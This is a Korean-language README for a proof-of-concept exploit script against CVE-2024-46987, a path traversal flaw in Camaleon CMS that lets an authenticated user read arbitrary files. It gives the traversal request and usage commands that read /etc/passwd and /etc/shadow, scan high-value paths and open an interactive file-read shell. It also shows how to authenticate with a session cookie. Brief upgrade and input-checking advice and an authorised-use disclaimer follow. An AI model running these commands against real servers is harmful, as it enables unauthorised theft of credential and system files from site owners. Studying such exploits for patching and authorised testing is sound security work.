
PoC exploit for CVE-2024-46987 — Camaleon CMS 임의 경로 탐색 (파일 읽기)
| 필드 | 세부 정보 |
|---|
| CVE | CVE-2024-46987 |
| 제품 | Camaleon CMS |
| 버전 | >= 2.8.0, < 2.8.2 (2.9.0에서도 확인됨) |
| 유형 | 경로 탐색 / 임의 파일 읽기 (CWE-22) |
| 인증 | 필요 (모든 낮은 권한 계정) |
| CVSS | 7.7 높음 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| 수정 버전 | 2.8.2 |
MediaController#download_private_file는 params[:file]을 정제하지 않고 fetch_file에 전달합니다:
# 취약한 싱크
fetch_file("private/#{params[:file]}")
값이 send_file과 함께 사용되기 전에 경로 정규화가 적용되지 않아, 인증된 공격자가 ../ 시퀀스를 사용하여 private/ 디렉토리를 벗어나 Rails 프로세스가 접근 권한을 가진 임의의 파일을 읽을 수 있습니다.
취약한 엔드포인트:
GET /admin/media/download_private_file?file=../../../../../../etc/passwd
requests 라이브러리pip3 install requests
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
[-P PASSWORD] [-f FILE] [-d DEPTH]
[--interesting] [--interactive]
[--no-verify] [--debug]
# /etc/passwd 읽기 (기본값)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password
# 특정 파일 읽기
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow
# 고가치 경로 목록 자동 스캔
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting
# 대화형 파일 읽기 셸
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive
# 단일 파일
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX" -f /etc/passwd
# 대화형 셸
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX; auth_token=YYYY" --interactive
| 플래그 | 설명 |
|---|---|
-u | 대상 기본 URL |
-U / -P | CMS 사용자 이름 및 비밀번호 |
--cookie | 원시 쿠키 문자열 (자격 증명 대체) |
-f | 읽을 파일 경로 (기본값: /etc/passwd) |
-d | 탐색 깊이 — 앞에 추가할 ../ 개수 (기본값: 10) |
--interesting | 내장된 고가치 경로 목록 반복 |
--interactive | 대화형 파일 읽기 셸 |
--no-verify | TLS 인증서 확인 비활성화 |
--debug | 인증 실패 진단을 위한 상세 출력 |
/proc 의사 파일 관련 참고 사항/proc/self/ 아래의 파일(예: environ, cmdline)은 HTTP 200을 반환하지만 본문이 비어 있습니다. 이는 예상된 동작입니다 — 커널이 해당 파일의 크기를 0으로 보고하므로 Rails의 send_file이 아무것도 스트리밍하지 않습니다. 대신 일반 플랫 파일을 사용하십시오.
Camaleon CMS를 버전 2.8.2 이상으로 업그레이드하십시오. 패치는 적절한 경로 정규화를 추가하고, send_file을 호출하기 전에 확인된 경로가 의도된 디렉토리 내에 유지되도록 합니다.
또는:
.. 시퀀스가 포함된 입력을 거부하십시오.이 개념 증명은 교육 목적과 보안 전문가가 승인된 테스트 환경에서 취약점을 이해하고 재현하는 데 도움을 주기 위해 게시되었습니다. 저자는 오용에 대해 책임을 지지 않습니다. 소유하지 않은 시스템을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.